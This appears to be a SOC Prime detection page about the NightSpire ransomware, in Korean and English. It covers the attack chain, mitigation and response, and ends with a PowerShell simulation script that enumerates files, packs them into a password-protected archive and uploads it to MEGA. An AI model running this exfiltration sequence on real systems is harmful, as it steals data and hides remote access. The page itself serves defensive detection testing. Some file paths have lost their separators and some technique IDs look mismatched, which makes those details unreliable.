SOC Prime Bias: 높음

25 May 2026 16:25 UTC

NightSpire 랜섬웨어 공격 체인, 도구 및 전술

Author Photo
SOC Prime Team linkedin icon 팔로우
NightSpire 랜섬웨어 공격 체인, 도구 및 전술
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

NightSpire는 2025년 초 처음 관찰된 Go 기반 랜섬웨어 패밀리로, 암호화 전에 데이터를 탈취하고 Tor 기반 유출 사이트에 게시할 것을 위협하는 이중 갈취 모델을 사용합니다. 이 랜섬웨어는 암호화된 파일에 .nspire 확장자를 추가하고 OneDrive에 연결된 폴더를 포함하여 각 영향을 받은 디렉토리에 몸값 메모를 배치합니다. 운영자는 정품 원격 관리 도구를 사용하여 액세스를 유지하고 공개적으로 사용 가능한 유틸리티를 사용하여 발견, 아카이브 생성 및 탈취를 수행합니다. 2025년 3월에서 6월 사이에 이 캠페인은 33개국에 걸쳐 최소 64개 조직에 영향을 미쳤습니다.

조사

조사는 공격자가 주로 노출된 RDP를 통해 초기 액세스를 얻고 Chrome Remote Desktop과 AnyDesk를 지속적인 서비스로 설치했음을 보여주었습니다. 그들은 파일을 빠르게 찾기 위해 Everything을 사용하고, 암호로 보호된 아카이브를 만들기 위해 7-Zip을 사용했으며, 도난당한 데이터를 MEGA 클라우드 저장소에 업로드하기 위해 MEGAsync를 사용했습니다. Go 기반 암호화기는 conhost.exe에서 실행되었으며, 사용 가능한 모든 드라이브를 열거하고 파일을 암호화하면서 OneDrive 파일 이름은 그대로 두었습니다. 갈취 단계는 탈취 후 피해자를 압박하기 위해 사용된 Tor에 호스팅된 유출 사이트에 의존했습니다.

완화

조직은 직접적인 RDP 노출을 줄이거나 제거하고, 서비스로 배포된 예기치 않은 정품 원격 관리 도구를 모니터링하며, Chrome Remote Desktop과 AnyDesk와 같은 바이너리에 대해 애플리케이션 허용 목록을 적용해야 합니다. 행동 감지는 대량 파일 열거, 아카이브 생성 및 클라우드 저장소 서비스에 대한 비정상적인 업로드에 중점을 둬야 합니다. 정기적인 백업과 검증된 복구 절차는 필수이며, 네트워크 제어는 알려진 MEGA 업로드 엔드포인트를 차단해야 합니다. 방어는 Picus와 같은 통제된 랜섬웨어 시뮬레이션 연습을 통해 검증될 수 있습니다.

대응

NightSpire 활동이 감지되면 즉시 영향을 받은 엔드포인트를 격리하고 암호화 프로세스를 종료하고 분석을 위한 휘발성 메모리를 수집해야 합니다. 악성 서비스를 비활성화하고 남아있는 원격 액세스 도구를 제거하며 관련 네트워크 통신을 차단하십시오. 복구는 신뢰할 수 있는 백업에서 진행해야 하며, 관련 이해관계자에게 알림을 전달해야 합니다. 또한 법 집행 기관에 사건을 보고하여야 하며, 방어자는 게시된 데이터 징후를 위해 관련 Tor 유출 사이트를 계속 모니터링해야 합니다.

graph TB %% 클래스 정의 classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff6666 classDef process fill:#ffcc99 %% 노드 action_initial_access[“<b>작업</b> – 초기 접근<br/><b>기술</b> – T1136 계정 생성<br/><b>설명</b>: 공격자는 Remote Desktop Protocol (RDP)을 통해 네트워크에 접근하여 초기 발판을 확보했다.”] class action_initial_access action tool_rdp[“<b>도구</b> – Remote Desktop Protocol (RDP)<br/><b>설명</b>: Windows 시스템에 원격 로그인을 가능하게 하는 프로토콜.”] class tool_rdp tool action_persistence[“<b>작업</b> – 지속성 유지<br/><b>기술</b> – T1547.009 바로가기 수정<br/><b>설명</b>: AnyDesk 및 Chrome Remote Desktop을 서비스로 설치하고 Startup 폴더에 바로가기를 배치하여 자동 실행을 설정했다.”] class action_persistence action tool_anydesk[“<b>도구</b> – AnyDesk<br/><b>기능</b>: 원격 접근 소프트웨어로 Windows 서비스로 설치됨 (anydesk.lnk).”] class tool_anydesk tool tool_chrome_rd[“<b>도구</b> – Chrome Remote Desktop<br/><b>기능</b>: remoting_host.exe 서비스로 실행되는 원격 접근 도구.”] class tool_chrome_rd tool action_collection[“<b>작업</b> – 수집<br/><b>기술</b> – T1560.001 수집 데이터 압축<br/><b>설명</b>: Everything 도구로 파일을 열거한 뒤 7-Zip을 사용해 비밀번호 보호 압축 파일로 생성.”] class action_collection action tool_7zip[“<b>도구</b> – 7-Zip<br/><b>기능</b>: 데이터를 비밀번호 보호 압축으로 변환.”] class tool_7zip tool tool_everything[“<b>도구</b> – Everything<br/><b>기능</b>: 파일 시스템 빠른 검색 및 열거 도구.”] class tool_everything tool action_exfiltration[“<b>작업</b> – 유출<br/><b>기술</b> – T1537 클라우드 계정 전송<br/>T1567.002 웹 서비스 기반 유출<br/><b>설명</b>: MEGAsync를 통해 MEGA 클라우드 저장소로 아카이브 업로드.”] class action_exfiltration action tool_megasync[“<b>도구</b> – MEGAsync<br/><b>기능</b>: 로컬 파일을 MEGA 클라우드와 동기화하여 유출 수행.”] class tool_megasync tool action_impact[“<b>작업</b> – 영향<br/><b>기술</b> – T1486 데이터 암호화에 의한 영향<br/><b>설명</b>: conhost.exe를 통해 Go 기반 랜섬웨어가 실행되어 파일을 암호화하고 .nspire 확장자를 추가하며 랜섬 노트를 생성.”] class action_impact action malware_encryptor[“<b>악성코드</b> – Go 랜섬웨어<br/><b>기능</b>: 파일 암호화, 확장자 변경, 랜섬 노트 생성.”] class malware_encryptor malware process_conhost[“<b>프로세스</b> – conhost.exe<br/><b>역할</b>: Go 랜섬웨어 페이로드 실행.”] class process_conhost process %% 연결 action_initial_access –>|사용| tool_rdp action_initial_access –>|다음 단계| action_persistence action_persistence –>|설치| tool_anydesk action_persistence –>|설치| tool_chrome_rd action_persistence –>|다음 단계| action_collection action_collection –>|사용| tool_7zip action_collection –>|열거| tool_everything action_collection –>|다음 단계| action_exfiltration action_exfiltration –>|사용| tool_megasync action_exfiltration –>|다음 단계| action_impact action_impact –>|실행| process_conhost process_conhost –>|시작| malware_encryptor

공격 흐름

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

  • Attack Narrative & Commands:

    1. Persistence Setup (T1547 / T1219): Install Chrome Remote Desktop (default path) and start its service to obtain persistent remote control.
    2. Discovery (T1083): Use Everything.exe to enumerate all files on the C: drive, saving the output to a temporary list.
    3. Archiving (T1037 / T1083): Invoke 7‑Zip to compress the discovered files into a password‑protected archive.
    4. Exfiltration (T1219.003): Launch MEGAsync to upload the archive to a MEGA account.

    The sequence ensures that selection_remote_access (Chrome Remote Desktop) is active while at least one of selection_discovery, selection_archive, or selection_exfiltration occurs, satisfying the rule’s condition.

  • Regression Test Script:

    # -------------------------------------------------------------------------
    # NightSpire Lateral Persistence & Exfiltration Simulation
    # -------------------------------------------------------------------------
    # Prerequisites:
    #   - Chrome Remote Desktop installed at default path
    #   - Everything.exe installed at default path
    #   - 7z.exe installed at default path
    #   - MEGAsync installed at default user profile path
    # -------------------------------------------------------------------------
    
    # 1. Ensure Chrome Remote Desktop service is running (simulates persistence)
    $crdPath = "$Env:ProgramFiles(x86)GoogleChrome Remote Desktop147.0.7727.3remoting_host.exe"
    if (Test-Path $crdPath) {
        Start-Process -FilePath $crdPath -ArgumentList "--start-service" -WindowStyle Hidden
        Write-Host "Chrome Remote Desktop service started."
    } else {
        Write-Error "Chrome Remote Desktop not found at $crdPath"
        exit 1
    }
    
    # 2. File discovery with Everything
    $everythingPath = "$Env:ProgramFilesEverythingEverything.exe"
    $discoveryOutput = "$env:TEMPfilelist.txt"
    if (Test-Path $everythingPath) {
        & $everythingPath -search "C:" -output $discoveryOutput
        Write-Host "Discovery completed, results saved to $discoveryOutput"
    } else {
        Write-Error "Everything.exe not found at $everythingPath"
        exit 1
    }
    
    # 3. Archive the discovered files with 7‑Zip
    $sevenZipPath = "$Env:ProgramFiles7-Zip7z.exe"
    $archivePath   = "$env:TEMPexfil_archive.zip"
    if (Test-Path $sevenZipPath) {
        & $sevenZipPath a -tzip $archivePath "@$discoveryOutput" -p"StrongP@ssw0rd!"
        Write-Host "Archive created at $archivePath"
    } else {
        Write-Error "7z.exe not found at $sevenZipPath"
        exit 1
    }
    
    # 4. Upload archive via MEGAsync (exfiltration)
    $megaPath = "$Env:LOCALAPPDATAMEGAsyncMEGAsync.exe"
    if (Test-Path $megaPath) {
        & $megaPath --upload $archivePath
        Write-Host "Upload initiated via MEGAsync."
    } else {
        Write-Error "MEGAsync.exe not found at $megaPath"
        exit 1
    }
    
    # End of simulation
  • Cleanup Commands:

    # Stop Chrome Remote Desktop service
    Stop-Process -Name "remoting_host" -Force -ErrorAction SilentlyContinue
    
    # Remove temporary files
    Remove-Item -Path "$env:TEMPfilelist.txt" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPexfil_archive.zip" -Force -ErrorAction SilentlyContinue
    
    # Optionally stop MEGAsync if running
    Stop-Process -Name "MEGAsync" -Force -ErrorAction SilentlyContinue